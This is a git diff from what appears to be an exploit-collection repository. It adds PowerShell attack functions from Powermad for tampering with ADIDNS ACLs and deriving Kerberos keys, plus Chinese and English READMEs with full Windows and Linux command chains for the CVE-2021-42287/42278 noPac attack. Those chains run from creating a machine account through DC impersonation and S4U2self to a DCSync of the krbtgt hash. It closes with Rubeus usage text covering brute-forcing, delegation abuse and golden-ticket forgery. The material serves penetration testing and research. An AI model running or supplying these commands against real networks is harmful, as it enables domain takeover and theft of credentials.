= "Allow", + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Principal, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Node) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + } + else + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $NT_account = New-Object System.Security.Principal.NTAccount($Principal) + $principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier]) + $principal_identity = [System.Security.Principal.IdentityReference]$principal_SID + $AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access + $access_control_type = [System.Security.AccessControl.AccessControlType]$Type + $AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All" + $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance) + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + try + { + $directory_entry.psbase.ObjectSecurity.RemoveAccessRule($ACE) > $null + $directory_entry.psbase.CommitChanges() + Write-Output "[+] ACE removed for $Principal" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Set-ADIDNSNodeAttribute +{ + <# + .SYNOPSIS + This function can append, populate, or overwite values in an ADIDNS node attribute. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can append, populate, or overwite values in an ADIDNS node attribute. + + .PARAMETER Append + Switch: Appends a value rather than overwriting. This can be used to the dnsRecord attribute + to create multiple DNS records of the same name for round robin, etc. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to modify the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Value + The attribute value. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Set the writable description attribute on a node named test. + Set-ADIDNSNodeAttribute -Node test -Attribute description -Value "do not delete" + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Attribute, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$true)]$Value, + [parameter(Mandatory=$false)][Switch]$Append, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "DC=$Node," + $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + + if($Append) + { + $directory_entry.$Attribute.Add($Value) > $null + $directory_entry.SetInfo() + Write-Output "[+] ADIDNS node $Node $attribute attribute appended" + } + else + { + $directory_entry.InvokeSet($Attribute,$Value) + $directory_entry.SetInfo() + Write-Output "[+] ADIDNS node $Node $attribute attribute updated" + } + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Set-ADIDNSNodeOwner +{ + <# + .SYNOPSIS + This function can sets the owner of an ADIDNS Node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can sets the owner of an ADIDNS Node. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Principal + The user or group that will be granted ownsership. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Set the owner of a node named test to user1. + Set-ADIDNSNodeOwner -Node test -Principal user1 + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$true)][String]$Principal, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "DC=$Node," + $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $account = New-Object System.Security.Principal.NTAccount($Principal) + $directory_entry.PsBase.ObjectSecurity.setowner($account) + $directory_entry.PsBase.CommitChanges() + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +#endregion + +#region begin Miscellaneous Functions + +function Get-KerberosAESKey +{ + <# + .SYNOPSIS + Generate Kerberos AES 128/256 keys from a known username/hostname, password, and kerberos realm. The + results have been verified against the test values in RFC3962, MS-KILE, and my own test lab. + + https://tools.ietf.org/html/rfc3962 + https://msdn.microsoft.com/library/cc233855.aspx + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .PARAMETER Password + [String] Valid password. + + .PARAMETER Salt + [String] Concatenated string containing the realm and username/hostname. + AD username format = uppercase realm + case sensitive username (e.g., TEST.LOCALusername, TEST.LOCALAdministrator) + AD hostname format = uppercase realm + the word host + lowercase hostname without the trailing '$' + . + lowercase + realm (e.g., TEST.LOCALhostwks1.test.local) + + .PARAMETER Iteration + [Integer] Default = 4096: Int value representing how many iterations of PBKDF2 will be performed. AD uses the + default of 4096. + + .PARAMETER OutputType + [String] Default = AES: (AES,AES128,AES256,AES128ByteArray,AES256ByteArray) AES, AES128, and AES256 will output strings. + AES128Byte and AES256Byte will output byte arrays. + + .EXAMPLE + Get-KerberosAESKey -Password password -Salt ATHENA.MIT.EDUraeburn -Iteration 1 + Verify results against first RFC3962 sample test vectors in section B. + + .EXAMPLE + Get-KerberosAESKey -Salt TEST.LOCALuser + Generate keys for a valid AD user. + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$true)][String]$Salt, + [parameter(Mandatory=$false)][System.Security.SecureString]$Password, + [parameter(Mandatory=$false)][ValidateSet("AES","AES128","AES256","AES128ByteArray","AES256ByteArray")][String]$OutputType = "AES", + [parameter(Mandatory=$false)][Int]$Iteration=4096 + ) + + if(!$Password) + { + $password = Read-Host -Prompt "Enter password" -AsSecureString + } + + $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password) + $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR) + + [Byte[]]$password_bytes = [System.Text.Encoding]::UTF8.GetBytes($password_cleartext) + [Byte[]]$salt_bytes = [System.Text.Encoding]::UTF8.GetBytes($Salt) + $AES256_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93,0x5C,0x9B,0xDC,0xDA,0xD9,0x5C,0x98,0x99,0xC4,0xCA,0xE4,0xDE,0xE6,0xD6,0xCA,0xE4 + $AES128_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93 + $IV = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $PBKDF2 = New-Object Security.Cryptography.Rfc2898DeriveBytes($password_bytes,$salt_bytes,$iteration) + $PBKDF2_AES256_key = $PBKDF2.GetBytes(32) + $PBKDF2_AES128_key = $PBKDF2_AES256_key[0..15] + $PBKDF2_AES256_key_string = ([System.BitConverter]::ToString($PBKDF2_AES256_key)) -replace "-","" + $PBKDF2_AES128_key_string = ([System.BitConverter]::ToString($PBKDF2_AES128_key)) -replace "-","" + Write-Verbose "PBKDF2 AES128 Key: $PBKDF2_AES128_key_string" + Write-Verbose "PBKDF2 AES256 Key: $PBKDF2_AES256_key_string" + $AES = New-Object "System.Security.Cryptography.AesManaged" + $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC + $AES.Padding = [System.Security.Cryptography.PaddingMode]::None + $AES.IV = $IV + # AES 256 + $AES.KeySize = 256 + $AES.Key = $PBKDF2_AES256_key + $AES_encryptor = $AES.CreateEncryptor() + $AES256_key_part_1 = $AES_encryptor.TransformFinalBlock($AES256_constant,0,$AES256_constant.Length) + $AES256_key_part_2 = $AES_encryptor.TransformFinalBlock($AES256_key_part_1,0,$AES256_key_part_1.Length) + $AES256_key = $AES256_key_part_1[0..15] + $AES256_key_part_2[0..15] + $AES256_key_string = ([System.BitConverter]::ToString($AES256_key)) -replace "-","" + # AES 128 + $AES.KeySize = 128 + $AES.Key = $PBKDF2_AES128_key + $AES_encryptor = $AES.CreateEncryptor() + $AES128_key = $AES_encryptor.TransformFinalBlock($AES128_constant,0,$AES128_constant.Length) + $AES128_key_string = ([System.BitConverter]::ToString($AES128_key)) -replace "-","" + Remove-Variable password_cleartext + + switch($OutputType) + { + + 'AES' + { + Write-Output "AES128 Key: $AES128_key_string" + Write-Output "AES256 Key: $AES256_key_string" + } + + 'AES128' + { + Write-Output "$AES128_key_string" + } + + 'AES256' + { + Write-Output "$AES256_key_string" + } + + 'AES128ByteArray' + { + Write-Output $AES128_key + } + + 'AES256ByteArray' + { + Write-Output $AES256_key + } + + } + +} + +#endregion \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/README.md b/00-CVE_EXP/CVE-2021-42287/README.md new file mode 100644 index 0000000..7fa0676 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/README.md @@ -0,0 +1,148 @@ +### CVE-2021-42287 + +#### 描述 + +CVE-2021-42287/CVE-2021-42278组合拳能够通过普通用户权限账号,拿下Microsoft Windows Active Directory域服务管理员权限账号 + +#### 影响版本 + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | -------- | +| Windows Server 2008 | x86/x64 | | SP2 | | +| Windows Server 2008 | x64 | R2 | SP1 | | +| Windows Server 2012 | | | | ✔ | +| Windows Server 2012 | | R2 | | | +| Windows Server 2016 | | | | | +| Windows Server 2019 | | | | | +| Windows Server 2022 | | | | | +| Windows Server | | 2004 | | | +| Windows Server | | 20H2 | | | + +#### 修复补丁 + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-42287 +``` + +#### 利用方式 + +编译环境 + +- VS2019(.NET Framework 4.0)AnyCPU Release + +> 演示使用的是noPac项目进行 + +漏洞利用前置条件,以及注意点 + +- 能够添加机器普通⽤户 (MachineAccountQuota默认为10,值为0意味着普通⽤户⽆法创建机器账 户,也就⽆法直接利⽤这个漏洞) + + 12 + +- 还有noPac这个工具是模拟域管administrator,但是如果域内管理员组中不存在这个⽤户ptt后会报错,需要通过`/IMPERSONATE domain_admin_user` 来进行指定管理员,报错如下 + + ![image-20211214141231851](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-42287_0x02.png) + +首先获取域中的管理员账号 + +```powershell +net group "domain admins" /domain +``` + +获取管理员账号后执行如下命令 + +```powershell +.\noPac.exe -domain <域名> -user <能添加普通账户的账号> -pass <能添加普通账户的密码> /dc <域控机器> /mAccount <你想添加到域中的账号> /mPassword <你想添加到域中的密码> /service <票据的服务名> /IMPERSONATE <获取到的域管理员账号> /ptt +``` + +几个参数解释一下,票据服务名一般用cifs即可 + +``` +域名:cn.ascotbe.test.com +域控机器:DC1.cn.ascotbe.test.com +票据的服务名:cifs +``` + +![image-20211214142856348](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-42287_0x03.png) + +然后通过执行以下命令来验证 + +```powershell +#查看票据 +klist +#获取C盘文件 +dir \\dc\c$ +``` + +![image-20211214143041849](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-42287_0x04.png) + +> 使用sam-the-admin项目 + +没测试,想用可以通过-h来查看命令 + +> 使用命令行执行 + +windows + +```powershell +# 0. create a computer account +Import-Module .\Powermad.ps1 + +$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force +New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose + +# 1. clear its SPNs +Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose + +# 2. rename the computer (computer -> DC) +Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose + +# 3. obtain a TGT +Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap + +# 4. reset the computer name +Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose + +# 5. obtain a service ticket with S4U2self by presenting the previous TGT +Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT] + +# 6. DCSync +(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt +``` + +linux + +```bash +# 0. create a computer account +addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword' + +# 1. clear its SPNs +addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController + +# 2. rename the computer (computer -> DC) +renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password' + +# 3. obtain a TGT +getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword' + +# 4. reset the computer name +renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password' + +# 5. obtain a service ticket with S4U2self by presenting the previous TGT +KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController' + +# 6. DCSync by presenting the service ticket +KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local' +``` + + + +#### 参考项目 + +- [GhostPack](https://github.com/GhostPack/Rubeus) +- [Kevin-Robertson]( https://github.com/Kevin-Robertson/Powermad) +- [cube0x0](https://github.com/cube0x0/noPac) +- [sam-the-admin](https://github.com/WazeHell/sam-the-admin) + +#### 分析文章 + +- [CVE-2021-42287/CVE-2021-42278 Weaponisation](https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html) diff --git a/00-CVE_EXP/CVE-2021-42287/README_EN.md b/00-CVE_EXP/CVE-2021-42287/README_EN.md new file mode 100644 index 0000000..8741739 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/README_EN.md @@ -0,0 +1,148 @@ +### CVE-2021-42287 + +#### Describe + +The CVE-2021-42287/CVE-2021-42278 combo box can pass the ordinary user authority account to win the Microsoft Windows Active Directory domain service administrator authority account + +#### ImpactVersion + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | -------- | +| Windows Server 2008 | x86/x64 | | SP2 | | +| Windows Server 2008 | x64 | R2 | SP1 | | +| Windows Server 2012 | | | | ✔ | +| Windows Server 2012 | | R2 | | | +| Windows Server 2016 | | | | | +| Windows Server 2019 | | | | | +| Windows Server 2022 | | | | | +| Windows Server | | 2004 | | | +| Windows Server | | 20H2 | | | + +#### Patch + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-42287 +``` + +#### Utilization + +CompilerEnvironment + +- VS2019(.NET Framework 4.0)AnyCPU Release + +> The demonstration uses the noPac project + +Preconditions for exploiting vulnerabilities, and points to note + +- Ability to add regular users of the machine (MachineAccountQuota defaults to 10, and a value of 0 means that regular users cannot create machine accounts and cannot directly exploit this vulnerability) + + 12 + +- There is also noPac, a tool that simulates the domain administrator, but if the user ptt does not exist in the domain administrator group, an error will be reported. You need to specify the administrator through `/IMPERSONATE domain_admin_user`, and the error is as follows + + ![image-20211214141231851](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-42287_0x02.png) + +First get the administrator account in the domain + +```powershell +net group "domain admins" /domain +``` + +After obtaining the administrator account, execute the following command + +```powershell +.\noPac.exe -domain <域名> -user <能添加普通账户的账号> -pass <能添加普通账户的密码> /dc <域控机器> /mAccount <你想添加到域中的账号> /mPassword <你想添加到域中的密码> /service <票据的服务名> /IMPERSONATE <获取到的域管理员账号> /ptt +``` + +Explain a few parameters, the bill service name generally uses cifs + +``` +domain name:cn.ascotbe.test.com +dc:DC1.cn.ascotbe.test.com +service:cifs +``` + +![image-20211214142856348](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-42287_0x03.png) + +Then verify by executing the following command + +```powershell +#View bill +klist +#Obtain C drive file +dir \\dc\c$ +``` + +![image-20211214143041849](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-42287_0x04.png) + +> Use the sam-the-admin project + +No test, you can use -h to view the command + +> Use the command line to execute + +windows + +```powershell +# 0. create a computer account +Import-Module .\Powermad.ps1 + +$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force +New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose + +# 1. clear its SPNs +Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose + +# 2. rename the computer (computer -> DC) +Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose + +# 3. obtain a TGT +Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap + +# 4. reset the computer name +Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose + +# 5. obtain a service ticket with S4U2self by presenting the previous TGT +Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT] + +# 6. DCSync +(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt +``` + +linux + +```bash +# 0. create a computer account +addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword' + +# 1. clear its SPNs +addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController + +# 2. rename the computer (computer -> DC) +renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password' + +# 3. obtain a TGT +getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword' + +# 4. reset the computer name +renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password' + +# 5. obtain a service ticket with S4U2self by presenting the previous TGT +KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController' + +# 6. DCSync by presenting the service ticket +KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local' +``` + + + +#### ProjectSource + +- [GhostPack](https://github.com/GhostPack/Rubeus) +- [Kevin-Robertson]( https://github.com/Kevin-Robertson/Powermad) +- [cube0x0](https://github.com/cube0x0/noPac) +- [sam-the-admin](https://github.com/WazeHell/sam-the-admin) + +#### Analyze + +- [CVE-2021-42287/CVE-2021-42278 Weaponisation](https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html) diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus-README.md b/00-CVE_EXP/CVE-2021-42287/Rubeus-README.md new file mode 100644 index 0000000..48e8d2c --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus-README.md @@ -0,0 +1,3799 @@ +### + + + Ticket requests and renewals: + + Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID: + Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] + + Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID: + Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] + + Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session: + Rubeus.exe asktgt /user:USER /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] + + Retrieve a TGT using a PCKS12 certificate, start a /netonly process, and to apply the ticket to the new process/logon session: + Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] + + Retrieve a TGT using a certificate from the users keystore (Smartcard) specifying certificate thumbprint or subject, start a /netonly process, and to apply the ticket to the new process/logon session: + Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] + + Retrieve a TGT suitable for changing an account with an expired password using the changepw command + Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] + + Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket: + Rubeus.exe asktgs [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] + + Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit: + Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap] + + Perform a Kerberos-based password bruteforcing attack: + Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] + + + Constrained delegation abuse: + + Perform S4U constrained delegation abuse: + Rubeus.exe s4u /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] + Rubeus.exe s4u /user:USER [/domain:DOMAIN] /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] + + Perform S4U constrained delegation abuse across domains: + Rubeus.exe s4u /user:USER [/domain:DOMAIN] /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] + + + Ticket Forgery: + + Forge a golden ticket using LDAP to gather the relevent information: + Rubeus.exe golden /ldap [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a golden ticket using LDAP to gather the relevent information but explicitly overriding some values: + Rubeus.exe golden /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] 